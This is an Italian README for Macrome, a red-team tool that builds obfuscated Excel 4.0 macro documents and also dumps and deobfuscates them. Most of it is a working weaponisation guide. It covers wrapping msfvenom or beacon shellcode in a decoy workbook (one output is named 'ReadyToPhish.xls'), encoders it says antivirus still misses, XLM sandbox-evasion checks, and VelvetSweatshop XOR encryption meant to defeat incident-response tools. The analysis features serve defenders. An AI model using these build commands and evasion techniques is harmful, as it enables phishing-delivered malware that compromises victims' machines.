
Lettore/Scrittore di documenti con macro Excel per Red Teamers e Analisti
Un Lettore/Scrittore di Documenti con Macro Excel per Red Team e Analisti. I post sul blog che descrivono cosa fa questo strumento si trovano qui e qui.

Clona o scarica questo repository, lo strumento può essere eseguito usando dotnet - per esempio:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
oppure
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Nota che è necessaria una build 5.0+ di dotnet per farlo funzionare come configurato - può essere scaricata da https://dotnet.microsoft.com/download/dotnet/5.0.
Rilasci binari dello strumento che non richiedono dotnet e contengono un eseguibile binario possono essere trovati nella sezione Release per Windows, OSX e Linux.
Esegui Macrome usando dotnet run dalla directory della soluzione, oppure dotnet contro il binario compilato di Macrome. Ci sono tre modalità di funzionamento per Macrome: modalità Build, modalità Dump e modalità Deofuscation.
Esegui Macrome con il comando build per generare un documento Excel contenente un foglio macro offuscato, utilizzando un documento esca e un payload macro forniti. dotnet Macrome.dll build -h mostrerà le istruzioni complete di utilizzo.
Ad esempio, per creare un documento usando il documento esca path/to/decoy_document.xls e il shellcode binario x86 memorizzato in path/to/shellcode.bin, esegui dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Questo genererà un documento XLS 2003 che, dopo essere stato aperto e aver premuto il pulsante "Abilita Contenuto", eseguirà lo shellcode di shellcode.bin.
Il resto della documentazione spiegherà ogni flag/funzione in dettaglio, ma al momento il "più recente e migliore" che Macrome ha da offrire può essere ottenuto eseguendo:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Per prima cosa genera un documento Excel "esca" di base che conterrà il contenuto che gli utenti dovrebbero vedere. Dovrebbe essere una sorta di esca che convince gli utenti a cliccare sul pulsante "Abilita Macro" visualizzato in Excel. Ci sono alcuni esempi della "più recente e migliore" creazione di esche su https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Dopo aver creato questo foglio, salva il documento come tipo Excel 97-2003 Workbook (*.xls) invece del formato più recente Excel Workbook (*.xlsx). Un esempio di documento esca è incluso in /Docs/decoy_document.xls. Nota che se stai usando l'Offuscamento XOR per proteggere il tuo documento, attualmente NON puoi aggiungere un'immagine alla tua esca.
Successivamente, genera un payload shellcode da fornire allo strumento. Il payload binario di esempio (che apre calc) è stato generato usando msfvenom con i seguenti parametri:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
Sono supportati anche payload a 64 bit. Il payload di esempio a 64 bit, popcalc64.bin, è stato generato usando il comando:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Questo payload può quindi essere incorporato eseguendo il comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Attualmente, i payload a 64 bit richiedono che sia fornito anche un payload x86. Se questo non è un problema, puoi semplicemente specificare dati spazzatura per il flag del payload x86.
Esiste un supporto eventuale per incorporare assembly .NET direttamente nel documento, ma se vuoi farlo ora suggerisco di usare EXCELntDonut.
A partire da Macrome 0.5.0 e superiori, tutti i payload saranno codificati con base64, quindi il tuo payload potrà contenere qualsiasi sequenza di byte (inclusi i byte nulli).
Se vuoi incorporare un eseguibile .NET usando Macrome, suggerisco di usare Donut con il comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, e poi incorporare il payload risultante come payload sia a 32 bit che a 64 bit.
Un'altra valida alternativa è Amber che ha funzionato benissimo per incorporare binari Go piuttosto grandi.
Se per qualche motivo vuoi usare la modalità legacy di codifica del payload pre-Macrome 0.5.0, usa il flag --payload-method con SheetPackingMethod. Nota che nella modalità legacy l'uso di un payload prevalentemente alfanumerico ridurrà la dimensione del file macro generato, poiché è più facile esprimere lettere e numeri in forma macro invece di aggiungere invocazioni CHAR ripetutamente come =CHAR(123)&CHAR(124)&CHAR(125)... ecc. Tuttavia lo strumento dovrebbe essere in grado di gestire anche un payload binario completamente non stampabile.
Simile all'utilizzo del payload binario, deve prima essere generato un documento esca. Successivamente, deve essere creato un file di testo contenente le macro da eseguire. Le macro dovrebbero avere colonne separate dal carattere ; e righe separate da nuove righe. Attualmente il contenuto delle macro specificate verrà scritto ed eseguito a partire da A1 - anche se in futuro verrà aggiunto il supporto per specificare la posizione di partenza. Esempi di macro si trovano in /Docs/macro_example.txt e /Docs/multi_column_macro_example.txt.
Infine, esegui il comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Nota l'uso del flag payload-type impostato su Macro.
Puoi generare una macro da solo, oppure puoi usare il fantastico strumento EXCELntDonut per creare una macro per te.
Questi saranno dettagliati in un prossimo post del blog, ma Macrome ora può codificare i payload macro in tre modi diversi. La maggior parte di essi è ancora non rilevata da qualsiasi AV - ma sperimenta con i tuoi payload per vedere cosa funziona meglio.
IF e SET.NAME. Questo è qualcosa che non è stato ancora abusato da autori di maldoc prominenti, quindi è improbabile che attiri l'attenzione degli AV per ora.ROUND.Specifica una codifica usando il flag method durante la build - per esempio, per usare il codificatore CharSubroutine:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
A volte potresti volere che certe macro vengano eseguite PRIMA del codice del payload. Questo è utile quando stai aggiungendo macro per l'evasione sandbox e/o per verificare che il payload sia in esecuzione sul host corretto.
Il formato per i file di preambolo è esattamente lo stesso di quando si usa payload-type Macro, ma supporta solo una singola colonna. Per esempio, potresti avere un preambolo di:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
Questo controllerebbe i valori della risoluzione dello schermo, la presenza di un mouse e la capacità di riprodurre suoni. Se uno di questi fallisse, l'app si chiuderebbe prima di eseguire il contenuto principale del payload.
Inoltre, se desideri che una macro preliminare venga valutata IMMEDIATAMENTE, invece che dopo aver decompresso il resto delle macro, puoi anteporre un comando con %%%%%. Per esempio:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
Questo è utile per minimizzare il numero di comandi XLM eseguiti prima di terminare il documento e può essere d'aiuto per reazioni più immediate alla presenza di indicatori sandbox.
Macrome 0.3.0+ supporta la protezione tramite password dei documenti utilizzando l'Offuscamento XOR, una modalità di crittografia legacy di versioni MOLTO più vecchie di Office. Questa modalità di crittografia è spesso non supportata dagli strumenti IR e può aiutare a proteggere il contenuto del documento dall'ispezione.
Excel ha una password "predefinita" di VelvetSweatshop, che ti permetterà di crittografare il contenuto del documento pur facendo sì che il documento si decripti automaticamente quando viene aperto. Questo è il modo "ideale" per usare l'Offuscamento XOR in un contesto offensivo. Macrome tenterà automaticamente di usare questa password quando deoffusca o scarica un documento.
Per usare questa funzionalità, basta aggiungere --password <passwordToEncrypt> al tuo comando di build.
Esegui Macrome con il comando dump per stampare i record BIFF8 più rilevanti per documenti arbitrari. Questa funzionalità è simile alla funzionalità di dump delle macro di olevba, ma ha un'elaborazione più completa delle voci Ptg di casi limite per aiutare a garantire che il formato sia il più vicino possibile alle voci FORMULA effettive di Excel. Questo è ciò che ho usato per fare debug di alcuni strani documenti con casi limite che ho generato durante la creazione di questo strumento, quindi è comparativamente robusto. Sono sicuro che ci siano ancora molti casi limite non supportati, quindi se trovi un documento di cui non riesce a scaricare correttamente il contenuto, per favore apri un problema e condividi il documento come file zip.
Il comando dump richiede solo un argomento path che punti al file di destinazione. Un esempio di invocazione è:
dotnet Macrome.dll dump --path docToDump.xls
La maggior parte dei flag del comando dump sono per il debug, ma dump-hex-bytes può essere utile per gli utenti che vogliono vedere i singoli byte del payload per i record rilevanti. Questa è una funzionalità simile a BiffView, anche se per impostazione predefinita verranno visualizzate solo le voci specifiche dei maldoc.
Esegui Macrome con il comando deobfuscate per prendere un documento XLS Binario offuscato e tentare di invertire diversi comportamenti anti-analisi. dotnet Macrome.dll deobfuscate -h mostrerà le istruzioni complete di utilizzo. Attualmente, per impostazione predefinita, questa modalità:
Lbl che Excel interpreterà come voci Auto_Open nonostante il loro nome non corrisponda a quella stringa.Ad esempio, per deoffuscare un file macro XLS 2003 malevolo situato in path/to/obfuscated_file.xls, esegui dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Questo genererà una copia del file offuscato che sarà più facile da analizzare manualmente o con strumenti.
NOTA: Questo non fa ancora molto, è principalmente inteso per dimostrare come l'uso della libreria b2xtranslator modificata possa aiutare ad automatizzare la deoffuscazione. Funzionalità più utili arriveranno presto.
Un grande ringraziamento a tutte le spalle sulle quali ho potuto salire per scrivere questo.
b2xtranslator così come le persone di EvolutionJobs che l'hanno aggiornata e portata a dotnet. Il codice qui utilizzato è stato inizialmente preso da https://github.com/EvolutionJobs/b2xtranslator.